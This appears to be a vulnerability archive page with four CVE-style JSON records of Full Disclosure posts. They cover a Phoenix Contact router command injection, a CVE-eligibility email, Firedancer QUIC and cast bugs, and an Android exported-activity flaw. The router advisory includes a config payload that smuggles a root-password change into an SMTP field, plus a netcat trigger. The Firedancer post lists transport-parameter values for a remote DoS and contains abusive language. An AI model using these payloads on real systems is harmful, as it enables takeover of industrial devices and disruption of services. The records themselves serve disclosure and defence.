Vulnerability Disclosure Archive

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CyberDanube Security Research",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CyberDanube Security Research 20260119-0\n-------------------------------------------------------------------------------\n                title| Authenticated Command Injection\n              product| TC Router 5004T-5G EU\n   vulnerable version| 1.06.18\n        fixed version| 1.06.23\n           CVE number| CVE-2025-41717\n               impact| High\n             homepage| https://www.phoenixcontact.com/\n                found| 16.04.2025\n                   by| D. Blagojevic, S. Dietz, F. Koroknai, T. Weber\n                     | CyberDanube Security Research\n                     | Vienna | St. P\u00f6lten\n                     | This research was conducted in cooperation with VERBUND\n                     | OT Cyber Security Lab during a penetration test.\n                     |\n                     | https://www.cyberdanube.com\n                     |\n-------------------------------------------------------------------------------\n\nVendor description\n-------------------------------------------------------------------------------\n\"What we do\nConnecting, distributing, and controlling power and data flows - we have been\ndeveloping the right products for this purpose since 1923. Whether in\nindustrial production facilities, in the field of renewable energies, in\ninfrastructure, or for complex device connections: our solutions are used\nwherever processes must run automatically. Above and beyond their pure\nfunction, they help our partners to develop sustainable applications with more\nefficient processes and reduced costs.\n\nWe are Phoenix Contact: With innovative products and solutions, we are paving\nthe way to a climate-neutral and sustainable world.\"\n\nSource: https://www.phoenixcontact.com/en-us/company\n\nVulnerable versions\n-------------------------------------------------------------------------------\nTested on TC Router version 1.06.18\n\nAccording to the vendor, the following other products are also affected:\n\nProduct Name | Affected Firmware Version\nTC ROUTER 3002T-3G | \u003c FW 3.08.8\nTC ROUTER 2002T-3G | \u003c FW 3.08.8\nTC ROUTER 3002T-4G | \u003c FW 3.08.8\nTC ROUTER 3002T-4G GL| \u003c FW 3.08.8\nTC ROUTER 5004T-5G EU | \u003c FW 1.06.23\nTC ROUTER 3002T-4G VZW | \u003c FW 3.08.8\nTC ROUTER 3002T-4G ATT | \u003c FW 3.08.8\nTC ROUTER 2002T-4G | \u003c FW 3.08.8\nCLOUD CLIENT 1101TTX/TX | \u003c FW 3.07.7\nTC CLOUD CLIENT 1002-4G ATT | \u003c FW 3.08.8\nTC CLOUD CLIENT 1002-TX/TX | \u003c FW 3.07.7\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Authenticated Code Execution (CVE-2025-41717)\nThe device is vulnerable to an authenticated code injection. An attacker with\nvalid credentials could abuse this issue to execute code as root.\n\n\nProof of Concept\n-------------------------------------------------------------------------------\n1) Authenticated Code Execution (CVE-2025-41717)\nThe config-upload endpoint can be used to inject arbitrary commands which\nget executed when polling the sock_server. The malicous config changes the\nroot password and enables the service.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\u003centry name=\"conf/smtp/auth\"\u003e1\u003c/entry\u003e\n\u003centry name=\"conf/smtp/from\"\u003ep () t com\u0026apos;$(echo \u0026quot;root:password1!\u0026quot;|ch\npasswd)\u0026apos;\u003c/entry\u003e\n\u003centry name=\"conf/smtp/local\"\u003e1\u003c/entry\u003e\n\u003centry name=\"conf/smtp/password\"\u003easdasdasd\u003c/entry\u003e\n\u003centry name=\"conf/smtp/port\"\u003e25\u003c/entry\u003e\n\u003centry name=\"conf/smtp/server\"\u003e192.168.19.138\u003c/entry\u003e\n[...]\n\u003centry name=\"conf/alerts/sock_enable\"\u003e1\u003c/entry\u003e\n\u003centry name=\"conf/alerts/sock_port\"\u003e14323\u003c/entry\u003e\n\u003centry name=\"conf/alerts/sock_xml_io\"\u003e0\u003c/entry\u003e\n\u003centry name=\"conf/alerts/sock_xml_nl\"\u003e1\u003c/entry\u003e\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nConnecting to the service and sending a mail triggers the command.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n$ nc 192.168.19.133 14323\n\u003c?xml version=\"1.0\"?\u003e\n\u003cemail to=\"pwned () pwned com\"\u003e\n\u003csubject\u003epwned\u003c/subject\u003e\n\u003cbody\u003e\n\u003c/body\u003e\n\u003c/email\u003e\n\n-------------------------------------------------------------------------------\n\n\nSolution\n-------------------------------------------------------------------------------\nInstall the latest available update. See vendor advisory for detailed version\ninformation.\n\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network access to the device.\n\n\nRecommendation\n-------------------------------------------------------------------------------\nConfiguration file reviews are recommended before they got applied to the\ndevice.\n\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-07-17: Sent advisory to Phoenix Contact PSIRT.\n2025-07-29: Vendor asked for a call to clarify the vulnerabilities.\n2025-07-31: Aligned on timeline for September during call.\n2025-08-19: Vendor confirmed publications for 2025-10-14. Confirmed the\n            shift.\n2025-09-25: Asked the vendor for another call to clarify details regarding all\n            affected devices (including other advisories).\n2025-09-26: Talked to vendor to clarify details.\n2025-10-09: Asked for CVE Numbers. Received and included them in the advisory.\n2025-11-18: Phone call with vendor. Agreed publication date after 2026-01-13.\n2026-01-19: Coordinated release of security advisory.\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\n\nEOF T.Weber / @2026\n\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/3"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/3"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://twitter.com/cyberdanube"
        },
        {
          "url": "https://www.cyberdanube.com"
        },
        {
          "url": "https://www.phoenixcontact.com/"
        },
        {
          "url": "https://www.phoenixcontact.com/en-us/company"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/3"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CyberDanube Security Research 20260119-0 | Authenticated Command Injection in Phoenix Contact TC Router Series",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-41717",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0215",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/3",
            "automated": true,
            "contentSha256": "c9702fb15d54ece4ebd9f6086a5c649d6996044d58fa6aebcf87ec01675ee827",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/3",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-03T11:13:05Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0215"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:42Z",
    "dateUpdated": "2026-09-08T07:57:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0215"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "unknown",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Yuffie Kisaragi via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Dear Art,\n\n\n\n\nThank you for sharing your detailed evaluation and for pointing out the relevant\nsections of the CNA Rules.\n\n\n\n\nYour argument is well reasoned, particularly with respect to the current\nguidance on SaaS and exclusively hosted services.\n\n\n\n\nI have forwarded your evaluation to the CNA for further consideration. It will\nalso be important to understand the vendor\u2019s perspective in light of the points\nyou raised, especially regarding the applicability of the\n\u201cexclusively-hosted-service\u201d tag and the removal of prior restrictions.\n\n\n\nWe look forward to receive transparent\u00a0feedback from the CNA and/or the vendor.\n\n\nTo date, the vendor has remained silent with regard to informing their users\nabout the reported issues. As far as we can determine, no public advisory or\nuser-facing communication has been issued via their vulnerability reporting\nchannel () or elsewhere.\n\n\nBest regards,\n\n\nYuffie\n\n\nOn Tue, Jan 20, 2026 at 7:26 PM \u003c\u003e wrote:\n\nHi,\n\nthe vulnerabilities are no longer considered eligible for CVE tracking,\ndespite being real, independently discovered, responsibly disclosed, and\nacknowledged by the vendor.\nCVE IDs *can* be assigned for SaaS or similarly \"cloud only\" software. For a\nperiod of time, there was a restriction that only the provider could make or\nrequest such an assignment. But the current CVE rules remove this restriction:\n\n4.2.3 CNAs MUST NOT consider the type of technology (e.g., cloud, on-premises,\nartificial intelligence, machine learning) as the sole basis for determining\nassignment.\n\nIt would have been acceptable (even preferred) to leave CVE-2025-34411 and\nCVE-2025-34412 published and identify them as affecting an\n\"exclusively-hosted-service:\"\n\n5.1.11.1 (A CVE Record) MUST use the \u201cexclusively-hosted-service\u201d tag when all\nknown Products listed in the CVE Record exist only as fully hosted services.\nIf the Vulnerability affects both hosted services and on-premises Products,\nthen this tag MUST NOT be used.\n\nRules: https://www.cve.org/resourcessupport/allresources/cnarules\n\nRegards,\n\n- Art\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/26"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/26"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/resourcessupport/allresources/cnarules"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/26"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Re: Multiple Security Misconfigurations and Customer Enumeration Exposure in Convercent Whistleblowing Platform (EQS Group)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-34411",
              "type": "related"
            },
            {
              "destId": "CVE-2025-34412",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0213",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/26",
            "automated": true,
            "contentSha256": "16fb8f39abc59017249ab13d2d1e6c8331ea6508a7c71d74660b4fc553dabf06",
            "evidenceScore": 5,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/26",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-20T17:13:27Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0213"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:42Z",
    "dateUpdated": "2026-09-08T07:57:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0213"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Firedancer Solana Validator",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Agent Spooky\u0027s Fun Parade via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "1. SUMMARY\n\nTwo independently confirmed vulnerabilities in Jump Crypto\u0027s Firedancer\nSolana validator (https://github.com/firedancer-io/firedancer, commit\n7cd3b6dce):\n\n  A) Three undefined behavior / logic bugs in QUIC transport parameter\n     processing, triggerable by a malicious QUIC server with zero\n     authentication. Enables remote connection kill or hang.\n\n  B) Incorrect Rust saturating cast emulation that returns ULONG_MAX\n     instead of 0 for negative infinity, diverging from Agave\u0027s behavior\n     in rent and stake calculations. Potential consensus split.\n\nBoth bugs were confirmed with UBSAN stack traces against the real\ncompiled Firedancer source code and, for (B), cross-verified against\nrustc output.\n\n\n2. BUG A: QUIC TRANSPORT PARAMETER UNDEFINED BEHAVIOR\n\nAffected file: src/waltz/quic/fd_quic.c\nFunction: fd_quic_apply_peer_params (line 2667)\nEntry point: fd_quic_tls_cb_peer_params (line 2738), called during\n  TLS handshake -- no authentication required.\n\nThree bugs, all triggered from a single malicious TLS handshake:\n\n--- A1: Signed integer overflow (line 2713) ---\n\n  long peer_max_idle_timeout_ns = (long)peer_tp-\u003emax_idle_timeout_ms * (long)1e6;\n\nmax_idle_timeout_ms is a ulong decoded from a QUIC VARINT (max 2^62-1).\nCast to signed long, then multiplied by 1e6. For values above\nLONG_MAX/1e6 (~9.22e12), this is signed integer overflow -- undefined\nbehavior per C11 6.5/5.\n\nUBSAN output:\n\n  src/waltz/quic/fd_quic.c:2713:72: runtime error: signed integer\n  overflow: 9223372036855 * 1000000 cannot be represented in type \u0027long\u0027\n      #0 in fd_quic_apply_peer_params fd_quic.c:2713\n\nIn practice, the result wraps negative. fd_long_min then selects this\nnegative value as the idle timeout, causing immediate connection death.\n\n--- A2: Shift exponent too large (line 2724) ---\n\n  conn-\u003epeer_ack_delay_scale = (float)( 1UL \u003c\u003c peer_ack_delay_exponent ) * 1e3f;\n\nRFC 9000 Section 18.2: \"Values above 20 are invalid.\" No validation is\nperformed. For exponent \u003e= 64, this is undefined behavior (shift amount\n= width of unsigned long). For 20 \u003c exponent \u003c 64, the scale becomes\nabsurdly large (e.g., 4.6e+21 for exponent=62), corrupting all RTT\nestimation and loss detection.\n\nUBSAN output:\n\n  src/waltz/quic/fd_quic.c:2724:45: runtime error: shift exponent 64\n  is too large for 64-bit type \u0027unsigned long\u0027\n      #0 in fd_quic_apply_peer_params fd_quic.c:2724\n\n--- A3: Unsigned overflow in max_ack_delay (line 2730) ---\n\n  peer_tp-\u003emax_ack_delay * 1000UL\n\nRFC 9000 Section 18.2: \"Values of 2^14 or greater are invalid.\" No\nvalidation is performed. For large VARINT values, the multiplication\nwraps. The result, cast to float, produces a value on the order of 1e22\nnanoseconds. This propagates to PTO calculation (fd_quic_private.h:429),\nmaking the probe timeout effectively infinite. The client never\nretransmits.\n\n--- Combined impact ---\n\nA malicious QUIC server sends these transport parameters in one TLS\nhandshake:\n\n  max_idle_timeout    = 9223372036855 ms\n  ack_delay_exponent  = 64\n  max_ack_delay       = 2^62 - 1 ms\n\nResult: the Firedancer QUIC client\u0027s connection is immediately killed\n(A1), its RTT estimation is destroyed (A2), and it will never\nretransmit (A3). This is a zero-interaction remote DoS requiring no\nauthentication.\n\n--- Fix ---\n\nValidate per RFC 9000 Section 18.2 before use:\n  - Reject ack_delay_exponent \u003e 20 as TRANSPORT_PARAMETER_ERROR\n  - Reject max_ack_delay \u003e= 2^14 as TRANSPORT_PARAMETER_ERROR\n  - Use unsigned arithmetic or clamp max_idle_timeout_ms before\n    multiplying by 1e6\n\n\n3. BUG B: fd_rust_cast_double_to_ulong RETURNS ULONG_MAX FOR -INFINITY\n\nAffected file: src/flamenco/types/fd_cast.h\nFunction: fd_rust_cast_double_to_ulong (line 21)\n\nThe function\u0027s own documentation (line 17-18) states:\n  \"Saturate to 0 if the value is negative or NaN.\"\n\nThe implementation checks for infinity (bexp == 0x7FF, mant == 0) at\nline 24 and returns ULONG_MAX at line 27 without checking the sign bit.\nBoth +inf and -inf hit this path. The sign check at line 35 is dead code\nfor -inf because the function already returned.\n\nFiredancer:  fd_rust_cast_double_to_ulong(-INFINITY) = 18446744073709551615\nRust (1.45+): (-f64::INFINITY as u64)                = 0\n\nCross-verified by compiling and running the equivalent Rust program.\n\nThe existing test (test_cast.c:17) encodes the incorrect behavior:\n  FD_TEST( fd_rust_cast_double_to_ulong( ninf ) == ULONG_MAX );\n\nThis function is used in:\n  - fd_sysvar_rent1.c:12   (rent exempt minimum balance)\n  - fd_stake_program.c:551 (stake warmup)\n  - fd_stake_program.c:636 (stake cooldown)\n  - fd_runtime.c:525       (rent calculation)\n\nCurrent call sites use non-negative intermediates, so -infinity is\nunlikely to occur today. However, the function\u0027s contract is violated\nand any future call site producing a negative-infinity intermediate\nwould cause a consensus split between Firedancer and Agave.\n\n--- Fix ---\n\nIn the infinity branch (line 26-27), check the sign bit:\n\n  if( fd_dblbits_mant( u )==0 ) {\n    return fd_dblbits_sign( u ) ? 0UL : ULONG_MAX;\n  }\n\nUpdate test_cast.c:17 to assert the correct result:\n  FD_TEST( fd_rust_cast_double_to_ulong( ninf ) == 0 );\n\n\n4. TIMELINE\n\n2025-02-07  Bugs identified and POCs developed\n2025-02-07  Attempted disclosure to Immunefi; unable to validate researcher identity\n2025-02-08  Attempted disclosure to Immunefi; unable to validate researcher identity\n2025-02-09  Attempted disclosure to Immunefi; unable to validate researcher identity\n2025-02-09  Agent Spooky votes on Full Disclosure; measure passes unanimously.\n2025-02-10  Full Disclosure happens.\n\n\n5. CREDIT\n\nAGENT SPOOKY AND YOUR MOM\n\n\nCheers!\n\nAgent Spooky\u0027s Fun Parade\n\n\nP.S.\u00a0SHOUT OUT TO IMMUNEFI FOR BEING YOUR TYPICAL RUN OF THE MILL CRYPTO BRO HUSTLERS AKA PUNK ASS BITCHES. \nWE WON\u0027T FORGIVE. WE WON\u0027T FORGET. ALL YOUR CRYPTO ARE BELONG TO US.\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/14"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/14"
        },
        {
          "url": "https://github.com/firedancer-io/firedancer"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/14"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Firedancer Solana Validator - QUIC Transport Parameter UB and Consensus-Splitting Cast Bug",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0212",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/14",
            "automated": true,
            "contentSha256": "5900a228e970ba89ba3fc5395d8c927ecc2f91af3330a85946660f3c81d91aaf",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/14",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-10T16:08:58Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:42Z",
    "dateUpdated": "2026-09-08T07:57:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0212"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "KL-001-2026-01 yintibao Fun",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "KoreLogic Disclosures via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "KL-001-2026-01: yintibao Fun Print Mobile Unauthorized Access via Context Hijacking\n\nTitle: yintibao Fun Print Mobile Unauthorized Access via Context Hijacking\nAdvisory ID: KL-001-2026-001\nPublication Date: 2026-01-08\nPublication URL: https://korelogic.com/Resources/Advisories/KL-001-2026-001.txt\n\n\n1. Vulnerability Details\n\n\u00a0 \u00a0 \u00a0Affected Vendor: yintibao\n\u00a0 \u00a0 \u00a0Affected Product: Fun Print Mobile\n\u00a0 \u00a0 \u00a0Affected Version: 6.05.15\n\u00a0 \u00a0 \u00a0Platform: ARM64 - Android\n\u00a0 \u00a0 \u00a0CWE Classification: CWE-926: Improper Export of Android\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Application Components\n\u00a0 \u00a0 \u00a0CVE ID: CVE-2025-15464\n\n\n2. Vulnerability Description\n\n\u00a0 \u00a0 \u00a0Exported Activity allows external applications to gain\n\u00a0 \u00a0 \u00a0application context and directly launch Gmail with inbox access,\n\u00a0 \u00a0 \u00a0bypassing security controls.\n\n\n3. Technical Description\n\n\u00a0 \u00a0 \u00a0* Performed on Android 13 aarch64 - Samsung (Galaxy Tab A7 Lite)\n\u00a0 \u00a0 \u00a0* Using Frida client on Ubuntu 24.04 LTS - Frida server on\n\u00a0 \u00a0 \u00a0 \u00a0Samsung Rooted Device.\n\u00a0 \u00a0 \u00a0* The target Activity is exported true. Which means any\n\u00a0 \u00a0 \u00a0 \u00a0application may interact with it, given that permissions are\n\u00a0 \u00a0 \u00a0 \u00a0provided.\n\u00a0 \u00a0 \u00a0* The attacking host needs to attach the device email to the\n\u00a0 \u00a0 \u00a0 \u00a0application; then the account can be used by the application.\n\n\u00a0 \u00a0 \u00a0The PandoraEntry activity is exported (android:exported=\"true\")\n\u00a0 \u00a0 \u00a0and processes external intents without validation.\u00a0 Below is\n\u00a0 \u00a0 \u00a0the PandoraEntryActivity code:\n\n\u00a0 \u00a0 \u00a0protected void onCreate(Bundle bundle) {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0// ... INITALIZATION CODE ...\u00a0 super.onCreate(bundle);\n\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0// BELOW EXTERNAL INTENT ACCEPTED WITHOUT VALIDATION Intent\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0intent = getIntent();\n\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0// ... PROCESSING CONTINUES WITH UNVALIDATED INTENT ...\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0if (intent.hasExtra(IntentConst.START_FROM_TO_CLASS) \u0026\u0026\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0SDK.isUniMPSDK()) {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0String stringExtra =\n\u00a0intent.getStringExtra(IntentConst.START_FROM_TO_CLASS);\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0if (!TextUtils.isEmpty(stringExtra) \u0026\u0026\n\u00a0stringExtra.startsWith(\"io.dcloud.feature.sdk.multi\")) {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0intent.setClassName(getPackageName(), stringExtra);\n\u00a0intent.removeExtra(IntentConst.START_FROM_TO_CLASS);\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0}\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0} else {\n\u00a0intent.putExtra(IntentConst.WEBAPP_SHORT_CUT_CLASS_NAME,\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0PandoraEntry.class.getName()); intent.setClass(this,\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0PandoraEntryActivity.class);\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0}\n\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0//UNVALIDATED INTENT FORWARDED startActivity(intent);\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0overridePendingTransition(0, 0);\n\u00a0 \u00a0 \u00a0}\n\n\n4. Mitigation and Remediation Recommendation\n\n\u00a0 \u00a0 \u00a0No response from vendor. There are no known mitigations to\n\u00a0 \u00a0 \u00a0end-users of the affected application version(s).\n\n5. Credit\n\n\u00a0 \u00a0 \u00a0This vulnerability was discovered by Felix Segoviano of\n\u00a0 \u00a0 \u00a0KoreLogic, Inc.\n\n\n6. Disclosure Timeline\n\n\u00a0 \u00a0 \u00a02025-12-01 : KoreLogic requests security contact from vendor\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 via weizhengsl () vip qq com and 277517409 () qq com.\n\u00a0 \u00a0 \u00a02025-12-08 : KoreLogic submits vulnerability details to vendor\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 via weizhengsl () vip qq com and 277517409 () qq com.\n\u00a0 \u00a0 \u00a02026-01-08 : KoreLogic public disclosure.\n\n\n7. Proof of Concept\n\n\u00a0 \u00a0 \u00a0URL: https://korelogic.com/Resources/Advisories/KL-001-2026-001.poc.js.txt\n\u00a0 \u00a0 \u00a0SHA256sum: ddb3c840c94b204fbbe2931a68771ae28d8ea9c778310cfa83e218a64a41ffd5\n\n\n\nThe contents of this advisory are copyright(c) 2026\nKoreLogic, Inc. and are licensed under a Creative Commons\nAttribution Share-Alike 4.0 (United States) License:\nhttp://creativecommons.org/licenses/by-sa/4.0/\n\nKoreLogic, Inc. is a founder-owned and operated company with a\nproven track record of providing security services to entities\nranging from Fortune 500 to small and mid-sized companies. We\nare a highly skilled team of senior security consultants doing\nby-hand security assessments for the most important networks in\nthe U.S. and around the world. We are also developers of various\ntools and resources aimed at helping the security community.\nhttps://www.korelogic.com/about-korelogic.html\n\nOur public vulnerability disclosure policy is available at:\nhttps://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-926",
              "description": "CWE-926",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/12"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/12"
        },
        {
          "url": "http://creativecommons.org/licenses/by-sa/4.0/"
        },
        {
          "url": "https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy"
        },
        {
          "url": "https://korelogic.com/Resources/Advisories/KL-001-2026-001.poc.js.txt"
        },
        {
          "url": "https://korelogic.com/Resources/Advisories/KL-001-2026-001.txt"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.korelogic.com/about-korelogic.html"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/12"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "KL-001-2026-01: yintibao Fun Print Mobile Unauthorized Access via Context Hijacking",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-15464",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0211",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/12",
            "automated": true,
            "contentSha256": "f9ca029e23bb782597524f8956f00ca2dbb1b9215a0823cb7adb2f17a243aa76",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/12",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-08T21:03:37Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0211"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:42Z",
    "dateUpdated": "2026-09-08T07:57:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0211"
  },
